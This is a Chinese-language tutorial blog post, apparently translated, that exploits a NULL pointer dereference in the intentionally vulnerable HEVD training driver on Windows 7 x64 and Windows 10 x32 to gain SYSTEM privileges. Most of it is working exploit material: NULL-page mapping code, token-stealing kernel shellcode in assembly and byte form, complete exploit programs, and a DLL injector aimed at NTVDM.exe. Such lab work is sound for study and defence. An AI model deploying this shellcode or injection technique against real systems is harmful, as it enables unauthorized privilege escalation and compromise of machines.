热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Windows10内核驱动漏洞利用:空指针引用

前言在这一系列文章中,我们通过HackSys团队提供的HEVD驱动程序,来探索内核驱动程序的漏洞利用方式。这一次,我

前言

在这一系列文章中,我们通过HackSys团队提供的HEVD驱动程序,来探索内核驱动程序的漏洞利用方式。
这一次,我们将关注空指针引用(NULL pointer dereferences,其中dereference一词是指取指针指向的对象的值,请大家务必理解这个名词,并不是常规意义上的引用),并演示如何在Windows 7 x64和Windows 10 x32上利用这类漏洞。
空指针引用错误正在逐渐成为现代操作系统上漏洞利用的一个难题。由于Windows 8以及更高版本中,用户模式进程无法使用NULL页,所以看起来,此类漏洞已经被缓解。
然而,我们知道,Windows 7仍然是很多人都在使用的流行的操作系统。并且,由于向后兼容性,Windows 10的32位版本存在一个弱点。
为了展现在这些操作系统上漏洞利用的一些细微差别,我们会尝试进行两次漏洞攻击,目的是实现对SYSTEM用户的权限提升。

实验环境配置

在本教程中,我们将在实验环境中部署3个虚拟机:调试虚拟机、Windows 7 x64虚拟机、Windows 10 x32虚拟机。
如果您还没有阅读本系列的第一篇文章,我强烈建议您先进行阅读:https://blog.xpnsec.com/hevd-stack-overflow/ ,这篇文章中详细讲解了如何设置环境以及如何将内核调试程序连接到Windows 10虚拟机的详细方法。
在这篇文章中,还讲解了如何在VirtualBox中设置一个用于内核调试的Windows 7主机。如果您还有印象的话,我们以前曾经使用过Windows 10内核调试器的NET选项,但在早期版本中并不支持这一功能。因此,我们将恢复使用虚拟串行端口(Virtual Serial Port)。
首先,在您的Windows 7虚拟主机的设置中,选择“端口”,并确保已经启用串行端口。作为macOS用户,我被要求提供一个命名管道(Named Pipe)的路径,在不同操作系统上可能会有所不同。

选择“连接到现有管道/Socket”选项非常重要,它将会允许虚拟串行端口在需要时建立与内核调试器VM的连接。
接下来,在我们的调试虚拟机上,需要进行一个类似的配置,提供相同的命名管道路径,但这次我们要确保不选择“连接到现有管道/Socket”选项。
现在,在您的调试主机上,设置WinDBG通过COM端口连接:

在Windows 7主机上,在管理员权限命令提示符中输入以下内容:
bcdedit /debug on bcdedit /dbgsettings SERIAL
重新启动Windows 7主机,WinDBG就可以正常使用了。
现在我们已经完成了虚拟机的设置,接下来就让我们来研究这个漏洞。

漏洞分析

与我们的HEVD步骤的第一部分类似,首先我们回顾一下即将要实现的功能的源代码,在此例中是TriggerNullPointerDereference。
该函数首先在栈中分配一些变量:

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) { ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

NullPointerDereference变量是一个指向分配的内存块的指针:

// Allocate Pool chunk
NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
ExAllocatePoolWithTag(NonPagedPool,
sizeof(NULL_POINTER_DEREFERENCE),
(ULONG)POOL_TAG);

一旦分配完成,我们的DeviceloControl输入缓冲区就会被处理,并从内存读取ULONG并存储在UserValue变量中:

// Get the value from user mode UserValue = *(PULONG)UserBuffer;

然后,使用if语句来验证用户模式应用程序传递的值实际上是否设置为MagicValue。如果未设置,则释放先前分配的内存:

// Validate the magic value
if (UserValue == MagicValue) {
...
}
else {
DbgPrint("[+] Freeing NullPointerDereference Objectn");
DbgPrint("[+] Pool Tag: %sn", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%pn", NullPointerDereference);
// Free the allocated Pool chunk
ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
// Set to NULL to avoid dangling pointer
NullPointerDereference = NULL;
}

最后,我们发现NullPointerDereference变量被用来调用一个函数指针:

DbgPrint("[+] Triggering Null Pointer Dereferencen");
// Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
// because the developer is not validating if 'NullPointerDereference' is NULL
// before calling the callback function
NullPointerDereference->Callback();

这就意味着,由于在使用前缺少对NullPointerDereference变量的检查,因此就存在空指针引用漏洞。如果应用程序触发一个DeviceloControl调用,传递一个与MagicValue不匹配的值,然后再NULL处提供一个函数指针(偏移量为0x4或0x8,我们稍后会提及),就能够被利用。
然而,在许多现代操作系统中,NULL页不再可用,这就意味着这样的漏洞会更难以利用。
接下来,我们将开始介绍如何在Windows 7上利用这类漏洞,我们知道Windows 7不受NULL页保护。

Windows 7漏洞利用

Windows 7为攻击者提供了一个选项,通过ZwAllocateVirtualMemory的API调用来映射NULL页,其具有以下签名:

NTSTATUS ZwAllocateVirtualMemory(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);

我们特别感兴趣的是BaseAddress参数:
“该参数是指向一个变量的指针,该变量会接收分配的页面区域的基地址。如果此参数的初始值非NULL,则从指定的虚拟地址开始分配区域,并向下舍入到下一个主机页大小的地址边界。如果此参数的初始值为NULL,则操作系统将会确定分配区域的位置。”
这意味着,如果我们请求1h的BaseAddress,NULL页将被映射到进程地址空间中,可以任意使用。这是我们用来捕获尝试访问NULL地址的过程。
现在,我们知道可以去触发一个空指针引用,而且我们也知道下面的调用负责一个回调函数的调用:

NullPointerDereference->Callback();

接下来,我们迅速查看与NullPointerDereference变量关联的类型,可以发现能在64位系统上偏移量0x8处找到Callback属性:

typedef struct _NULL_POINTER_DEREFERENCE {
ULONG Value;
FunctionPointer Callback;
} NULL_POINTER_DEREFERENCE, *PNULL_POINTER_DEREFERENCE;

因此,我们利用该漏洞,在NULL页分配内存,并在地址8h处设置一个指向我们Shellcode的指针(我们现在只使用一个cc Int-3d断点作为Shellcode),如下所示:

// Get a pointer to the internal ZwAllocateVirtualMemory call
typedef NTSTATUS (* WINAPI ZwAllocateVirtualMemory)(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
ZwAllocateVirtualMemory _ZwAllocateVirtualMemory = (ZwAllocateVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwAllocateVirtualMemory");
// Map the NULL page into our process address space
PVOID memAddr = (PVOID)1;
SIZE_T regiOnSize= 4096;
NTSTATUS alloc = _ZwAllocateVirtualMemory(
GetCurrentProcess(),
&memAddr,
0,
®ionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// Add our breakpoint shellcode
memset((void*)0x100, 'xcc', 0x100);
// Set the Callback() address
*(unsigned long long*)0x8 = 0x100;

为了与驱动程序交互,并触发漏洞,我们将使用与此前文章中类似的一组调用:

HANDLE driverHandle = CreateFileA(
"\\.\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
char exploit[1024];
memset(exploit, 'A', sizeof(exploit));
DeviceIoControl(
driverHandle,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
exploit,
sizeof(exploit),
NULL,
0,
NULL,
NULL
);

编译后运行,我们得到如下结果:

非常棒,目前我们已经控制了rip地址。在这个阶段,我们希望使用此前文章中的Shellcode,并且得到我们的SYSTEM Shell。然而请注意,我们以前的Shell是为Windows 10开发的,而现在正在对Win 7进行漏洞利用的尝试,因此我们需要调整Shellcode的偏移量,以匹配早期的Windows版本。
最简单的方法是在WinDBG中使用dt命令,例如:

dt nt!_KPRCB


在所有的偏移量都更新之后,得到的Shellcode如下:

[BITS 64]
push rax
push rbx
push rcx
push rsi
push rdi
mov rax, [gs:0x180 + 0x8] ; Get 'CurrentThread' from KPRCB
mov rax, [rax + 0x210] ; Get 'Process' property from current thread
next_process:
cmp dword [rax + 0x180], 0x41414141 ; Search for 'cmd.exe' process ('AAAA' replaced by exploit)
je found_cmd_process
mov rax, [rax + 0x188] ; If not found, go to next process
sub rax, 0x188
jmp next_process
found_cmd_process:
mov rbx, rax ; Save our cmd.exe EPROCESS for later
find_system_process:
cmp dword [rax + 0x180], 0x00000004 ; Search for PID 4 (System process)
je found_system_process
mov rax, [rax + 0x188]
sub rax, 0x188
jmp find_system_process
found_system_process:
mov rcx, [rax + 0x208] ; Take TOKEN from System process
mov [rbx+0x208], rcx ; And copy it to the cmd.exe process
pop rdi
pop rsi
pop rcx
pop rbx
pop rax

剩下要做的,就是产生一个新的cmd.exe进程,并更新我们的Shellcode来搜索正确的进程PID:

STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFOA);
if (!CreateProcessA(
NULL,
(LPSTR)"cmd.exe",
NULL,
NULL,
true,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
)) {
printf("[!] FATAL: Error spawning cmd.exen");
return 0;
}
*(DWORD *)((char *)shellcode + 27) = pi.dwProcessId;

接下来,将我们的Shellcode复制0x100,准备好被调用:

memcpy((void*)0x100, shellcode, sizeof(shellcode));

结合之后,我们最终的漏洞利用代码如下:

#include "stdafx.h"
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef NTSTATUS(*WINAPI ZwAllocateVirtualMemory)(
_In_ HANDLE ProcessHandle,
_Inout_ PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_Inout_ PSIZE_T RegionSize,
_In_ ULONG AllocationType,
_In_ ULONG Protect
);
char shellcode[256] = {
0x50, 0x53, 0x51, 0x56, 0x57, 0x65, 0x48, 0x8b, 0x04, 0x25,
0x88, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x80, 0x10, 0x02, 0x00,
0x00, 0x81, 0xb8, 0x80, 0x01, 0x00, 0x00, 0x41, 0x41, 0x41,
0x41, 0x74, 0x0f, 0x48, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00,
0x48, 0x2d, 0x88, 0x01, 0x00, 0x00, 0xeb, 0xe5, 0x48, 0x89,
0xc3, 0x83, 0xb8, 0x80, 0x01, 0x00, 0x00, 0x04, 0x74, 0x0f,
0x48, 0x8b, 0x80, 0x88, 0x01, 0x00, 0x00, 0x48, 0x2d, 0x88,
0x01, 0x00, 0x00, 0xeb, 0xe8, 0x48, 0x8b, 0x88, 0x08, 0x02,
0x00, 0x00, 0x48, 0x89, 0x8b, 0x08, 0x02, 0x00, 0x00, 0x5f,
0x5e, 0x59, 0x5b, 0x58, 0xc3, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
int main()
{
printf("HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE Windows 7 x64 exploitnt@_xpn_nn");
ZwAllocateVirtualMemory _ZwAllocateVirtualMemory = (ZwAllocateVirtualMemory)GetProcAddress(LoadLibraryA("ntdll.dll"), "ZwAllocateVirtualMemory");
PVOID memAddr = (PVOID)1;
SIZE_T regiOnSize= 4096;
char exploit[1024];
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(STARTUPINFO));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
printf("[*] Mapping NULL page via ZwAllocateVirtualMemory()n");
NTSTATUS alloc = _ZwAllocateVirtualMemory(
GetCurrentProcess(),
&memAddr,
0,
®ionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (alloc != 0) {
printf("[!] Error mapping memoryn");
return 0;
}
printf("[*] Success, memory mappedn");
printf("[*] Opening handle to device drivern");
HANDLE driverHandle = CreateFileA(
"\\.\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (driverHandle == INVALID_HANDLE_VALUE) {
printf("[!] Error opening handlen");
return 0;
}
printf("[*] Handle opened successfullyn");
printf("[*] Spawning a new cmd.exe processn");
si.cb = sizeof(STARTUPINFOA);
if (!CreateProcessA(
NULL,
(LPSTR)"cmd.exe",
NULL,
NULL,
true,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
)) {
printf("[!] FATAL: Error spawning cmd.exen");
return 0;
}
printf("[*] cmd.exe spawnedn");
Sleep(1000);
printf("[*] Updating our shellcode to search for PID %dn", pi.dwProcessId);
*(DWORD *)((char *)shellcode + 27) = pi.dwProcessId;
printf("[*] Setting Callback() pointer at 0x08 to point to shellcoden");
*(unsigned long long*)0x8 = 0x100;
printf("[*] Copying shellcode to 0x100n");
memcpy((void*)0x100, shellcode, sizeof(shellcode));
printf("[*] Sending IOCTL to trigger exploitn");
memset(exploit, 'A', sizeof(exploit));
DeviceIoControl(
driverHandle,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
exploit,
sizeof(exploit),
NULL,
0,
NULL,
NULL
);
printf("[*] Done, enjoy your new system shell :)n");
return 0;
}

最后,成功运行:

在Windows 7成功利用漏洞之后,我们开始研究Windows 10。

Windows 10漏洞利用

Windows在新版本中,引入了安全保护,防止用户进程映射NULL页,因此我们在上面的例子中所进行的操作就无法实现了。我们必须寻找一种替代方案,这时,NTVDM和NT虚拟DOS主机映入我们的脑海。
NTVDM是一个Windows 10 x86上的可选功能,用于支持16位应用程序。为了运行16位应用程序,系统将会启动名为NTVDM.exe的进程,并会映射NULL页。我之前在我关于WARBIRD( https://blog.xpnsec.com/windows-warbird-privesc/ )的帖子中利用过这一漏洞,今天我们将再次利用。
为了利用NTVDM.exe映射的NULL页,我们将在进程中注入一个DLL,并复制我们的Shellcode。但是,利用这个漏洞时需要注意一些事项:
1、NTVDM子系统默认是禁用的;
2、需要管理员账户才可以启用此功能。
我们在测试机器上用以下命令设置NTVDM:
fondue /enable-feature:ntvdm /hide-ux:all
现在,如果我们运行一个16位的应用程序,比如debug.exe,我们将看到NTVDM.exe进程启动:

接下来,我们需要NTVDM加载我们得漏洞。为此,我们将会使用典型的VirtualAllocEx/WriteProcessMemory/CreateRemoteThread技术来加载DLL。我正在计划写一篇关于进程注入的文章,因此在这里并不会过多介绍这一方法的细节。而我们注入的内容可以在下面看到,此前有一篇相关的博客文章,感兴趣的话可以阅读:https://blog.xpnsec.com/windows-warbird-privesc/ 。

#include "stdafx.h"
void PrintUsage(void) {
printf("Windows NTVDM DLL Injectionn");
printf("Created by @_xpn_n");
}
int main(int argc, char **argv)
{
int pid = 0;
HANDLE pHandle;
SIZE_T written = 0;
void *destMem, *loadLibrary;
char currentDir[MAX_PATH];
char dllPath[MAX_PATH];
PrintUsage();
if (argc != 2) {
printf("Usage: %s NTVDM_PIDn");
printf("Note: NTVDM can be launched by executing debug.exenn");
return 1;
}
pid = atoi(argv[1]);
if ((pHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pid)) == NULL) {
printf("[X] OpenProcess() failed, make sure PID is for NTVDM processn");
return 2;
}
else {
printf("[.] OpenProcess() completed, handle: %dn", pHandle);
}
if ((destMem = VirtualAllocEx(pHandle, NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL) {
printf("[X] VirtualAllocEx() failed to allocate memory in processn");
return 3;
}
else {
printf("[.] VirtualAllocEx() allocated memory at %pn", destMem);
}
if ((loadLibrary = (void *)GetProcAddress(LoadLibraryA("kernel32.dll"), "LoadLibraryA")) == NULL) {
printf("[X] GetProcAddress() failed to find address of LoadLibrary()n");
return 3;
}
else {
printf("[.] Found LoadLibrary() at address %pn", loadLibrary);
}
GetCurrentDirectoryA(sizeof(currentDir), currentDir);
sprintf_s(dllPath, sizeof(dllPath), "%s\%s", currentDir, "exploit.dll");
if (WriteProcessMemory(pHandle, destMem, dllPath, strlen(dllPath), &written) == 0) {
printf("[X] WriteProcessMemory() failedn");
return 3;
}
else {
printf("[.] WriteProcessMemory() successfully wrote exploit DLL path to NTVDMn");
}
if (CreateRemoteThread(pHandle, NULL, NULL, (LPTHREAD_START_ROUTINE)loadLibrary, destMem, NULL, NULL) == NULL) {
printf("[X] CreateRemoteThread() failed to load DLL in victim processn");
return 3;
}
else {
printf("[!!!] CreateRemoteThread() finished, exploit running...n");
}
printf("[!!!] If the exploit was successful, you should now be SYSTEM... enjoy :Dnn");
}

现在,我们需要制作一个DLL来承载我们的漏洞代码。由于DLL将被注入NTVDM.exe的进程地址空间,因此我们需要:
1、编写内核Shellcode,该Shellcode要支持Windows 10的x86版本;
2、一旦我们的DLL被加载,就要复制Shellcode到地址100h处;
3、在地址4h处,添加一个指向Shellcode的指针,以便Callback属性使用;
4、为HEVD驱动程序触发DeviceloControl,它会将执行传递给Shellcode。
首先,看看我们的内核Shellcode。对于这个漏洞,我们重新使用此前WARBIRD的Shellcode,它会寻找cmd.exe进程,并从特权系统进程中复制进程令牌。

pushad
mov eax, [fs:0x120 + 0x4] ; Get 'CurrentThread' from KPRCB
mov eax, [eax + 0x150] ; Get 'Process' property from current thread
next_process:
cmp dword [eax + 0x17c], 'cmd.' ; Search for 'cmd.exe' process
je found_cmd_process
mov eax, [eax + 0xb8] ; If not found, go to next process
sub eax, 0xb8
jmp next_process
found_cmd_process:
mov ebx, eax ; Save our cmd.exe EPROCESS for later
find_system_process:
cmp dword [eax + 0xb4], 0x00000004 ; Search for PID 4 (System process)
je found_system_process
mov eax, [eax + 0xb8]
sub eax, 0xb8
jmp find_system_process
found_system_process:
mov ecx, [eax + 0xfc] ; Take TOKEN from System process
mov [ebx+0xfc], ecx ; And copy it to the cmd.exe process
popad
ret

在这里,需要注意这个32位的Ring-0 Shellcode和我们之前Win 7 x64的Shellcode还是有一些细微区别的:
1、用来派生KPRCB结构的段寄存器是fs寄存器而不是gs寄存器;
2、所有到nt!_EPROCESS、nt!_KTHREAD和nt!KPRCB结构的偏移量都是不同的。
我们有了Shellcode之后,就可以对它进行编译:

nasm /tmp/win10-32.asm -o /tmp/win10-32.bin -f bin

并提取一个C缓冲区:

radare2 -b 32 -c 'pc' /tmp/win10-32.bin

这样,我们得到的C缓冲区如下:

const uint8_t buffer[] = {
0x60, 0x64, 0xa1, 0x24, 0x01, 0x00, 0x00, 0x8b, 0x80, 0x50,
0x01, 0x00, 0x00, 0x81, 0xb8, 0x7c, 0x01, 0x00, 0x00, 0x63,
0x6d, 0x64, 0x2e, 0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00,
0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00, 0xeb, 0xe7, 0x89, 0xc3,
0x83, 0xb8, 0xb4, 0x00, 0x00, 0x00, 0x04, 0x74, 0x0d, 0x8b,
0x80, 0xb8, 0x00, 0x00, 0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00,
0xeb, 0xea, 0x8b, 0x88, 0xfc, 0x00, 0x00, 0x00, 0x89, 0x8b,
0xfc, 0x00, 0x00, 0x00, 0x61, 0xc3, 0xff, 0xff, 0xff, 0xff,
};

接下来,就需要编写我们的DLL。类似于Windows 7漏洞,需要通过DeviceloControl调用来触发空指针引用:

HANDLE driverHandle = CreateFileA(
"\\.\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
char exploit[1024];
memset(exploit, 'A', sizeof(exploit));
DeviceIoControl(
driverHandle,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
exploit,
sizeof(exploit),
NULL,
0,
NULL,
NULL
);

然而,在我们触发之前,需要确保Shellcode已经到位。首先通过利用VirualProtect来确保NULL页被设置为RWX:

DWORD oldProt;
// Make sure that NULL page is RWX
VirtualProtect(0, 4096, PAGE_EXECUTE_READWRITE, &oldProt);

接下来,将Shellcode复制到地址100h:

// Copy our shellcode to the NULL page at offset 0x100
RtlCopyMemory((void*)0x100, shellcode, 256);

最后,我们在4h设置一个指向Shellcode的指针,这是驱动程序使用的Callback()属性的32位偏移量:

// Set the ->Callback() function pointer
*(unsigned long long *)0x04 = 0x100;

结合起来,我们最终的漏洞利用代码如下:

#include "stdafx.h"
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
// Shellcode to be executed by exploit
const char shellcode[256] = {
0x60, 0x64, 0xa1, 0x24, 0x01, 0x00, 0x00, 0x8b, 0x80, 0x50,
0x01, 0x00, 0x00, 0x81, 0xb8, 0x7c, 0x01, 0x00, 0x00, 0x63,
0x6d, 0x64, 0x2e, 0x74, 0x0d, 0x8b, 0x80, 0xb8, 0x00, 0x00,
0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00, 0xeb, 0xe7, 0x89, 0xc3,
0x83, 0xb8, 0xb4, 0x00, 0x00, 0x00, 0x04, 0x74, 0x0d, 0x8b,
0x80, 0xb8, 0x00, 0x00, 0x00, 0x2d, 0xb8, 0x00, 0x00, 0x00,
0xeb, 0xea, 0x8b, 0x88, 0xfc, 0x00, 0x00, 0x00, 0x89, 0x8b,
0xfc, 0x00, 0x00, 0x00, 0x61, 0xc3, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
void exploit(void) {
DWORD BytesReturned;
DWORD oldProt;
// Make sure that NULL page is RWX
VirtualProtect(0, 4096, PAGE_EXECUTE_READWRITE, &oldProt);
// Set the ->Callback() function pointer
*(unsigned long long *)0x04 = 0x100;
// Copy our shellcode to the NULL page at offset 0x100
RtlCopyMemory((void*)0x100, shellcode, 256);
HANDLE driverHandle = CreateFileA(
"\\.\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
);
char exploit[1024];
// Trigger the vulnerability
memset(exploit, 'A', sizeof(exploit));
DeviceIoControl(
driverHandle,
HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
exploit,
sizeof(exploit),
NULL,
0,
NULL,
NULL
);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
exploit();
break;
}
return TRUE;
}

如下图所示,运行时可以成功得到SYSTEM Shell:


推荐阅读
  • 在Android开发中,使用Picasso库可以实现对网络图片的等比例缩放。本文介绍了使用Picasso库进行图片缩放的方法,并提供了具体的代码实现。通过获取图片的宽高,计算目标宽度和高度,并创建新图实现等比例缩放。 ... [详细]
  • 本文介绍了C#中生成随机数的三种方法,并分析了其中存在的问题。首先介绍了使用Random类生成随机数的默认方法,但在高并发情况下可能会出现重复的情况。接着通过循环生成了一系列随机数,进一步突显了这个问题。文章指出,随机数生成在任何编程语言中都是必备的功能,但Random类生成的随机数并不可靠。最后,提出了需要寻找其他可靠的随机数生成方法的建议。 ... [详细]
  • 重入锁(ReentrantLock)学习及实现原理
    本文介绍了重入锁(ReentrantLock)的学习及实现原理。在学习synchronized的基础上,重入锁提供了更多的灵活性和功能。文章详细介绍了重入锁的特性、使用方法和实现原理,并提供了类图和测试代码供读者参考。重入锁支持重入和公平与非公平两种实现方式,通过对比和分析,读者可以更好地理解和应用重入锁。 ... [详细]
  • 开源Keras Faster RCNN模型介绍及代码结构解析
    本文介绍了开源Keras Faster RCNN模型的环境需求和代码结构,包括FasterRCNN源码解析、RPN与classifier定义、data_generators.py文件的功能以及损失计算。同时提供了该模型的开源地址和安装所需的库。 ... [详细]
  • 微信官方授权及获取OpenId的方法,服务器通过SpringBoot实现
    主要步骤:前端获取到code(wx.login),传入服务器服务器通过参数AppID和AppSecret访问官方接口,获取到OpenId ... [详细]
  • 标题: ... [详细]
  • 先看官方文档TheJavaTutorialshavebeenwrittenforJDK8.Examplesandpracticesdescribedinthispagedontta ... [详细]
  • 本文介绍了Swing组件的用法,重点讲解了图标接口的定义和创建方法。图标接口用来将图标与各种组件相关联,可以是简单的绘画或使用磁盘上的GIF格式图像。文章详细介绍了图标接口的属性和绘制方法,并给出了一个菱形图标的实现示例。该示例可以配置图标的尺寸、颜色和填充状态。 ... [详细]
  • 基于Socket的多个客户端之间的聊天功能实现方法
    本文介绍了基于Socket的多个客户端之间实现聊天功能的方法,包括服务器端的实现和客户端的实现。服务器端通过每个用户的输出流向特定用户发送消息,而客户端通过输入流接收消息。同时,还介绍了相关的实体类和Socket的基本概念。 ... [详细]
  • 上图是InnoDB存储引擎的结构。1、缓冲池InnoDB存储引擎是基于磁盘存储的,并将其中的记录按照页的方式进行管理。因此可以看作是基于磁盘的数据库系统。在数据库系统中,由于CPU速度 ... [详细]
  • 本文介绍了pack布局管理器在Perl/Tk中的使用方法及注意事项。通过调用pack()方法,可以控制部件在显示窗口中的位置和大小。同时,本文还提到了在使用pack布局管理器时,应注意将部件分组以便在水平和垂直方向上进行堆放。此外,还介绍了使用Frame部件或Toplevel部件来组织部件在窗口内的方法。最后,本文强调了在使用pack布局管理器时,应避免在中间切换到grid布局管理器,以免造成混乱。 ... [详细]
  • OpenMap教程4 – 图层概述
    本文介绍了OpenMap教程4中关于地图图层的内容,包括将ShapeLayer添加到MapBean中的方法,OpenMap支持的图层类型以及使用BufferedLayer创建图像的MapBean。此外,还介绍了Layer背景标志的作用和OMGraphicHandlerLayer的基础层类。 ... [详细]
  • 本文整理了Java中java.lang.NoSuchMethodError.getMessage()方法的一些代码示例,展示了NoSuchMethodErr ... [详细]
  • 本文整理了Java中com.evernote.android.job.JobRequest.getTransientExtras()方法的一些代码示例,展示了 ... [详细]
  • 使用freemaker生成Java代码的步骤及示例代码
    本文介绍了使用freemaker这个jar包生成Java代码的步骤,通过提前编辑好的模板,可以避免写重复代码。首先需要在springboot的pom.xml文件中加入freemaker的依赖包。然后编写模板,定义要生成的Java类的属性和方法。最后编写生成代码的类,通过加载模板文件和数据模型,生成Java代码文件。本文提供了示例代码,并展示了文件目录结构。 ... [详细]
author-avatar
whdibk30
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
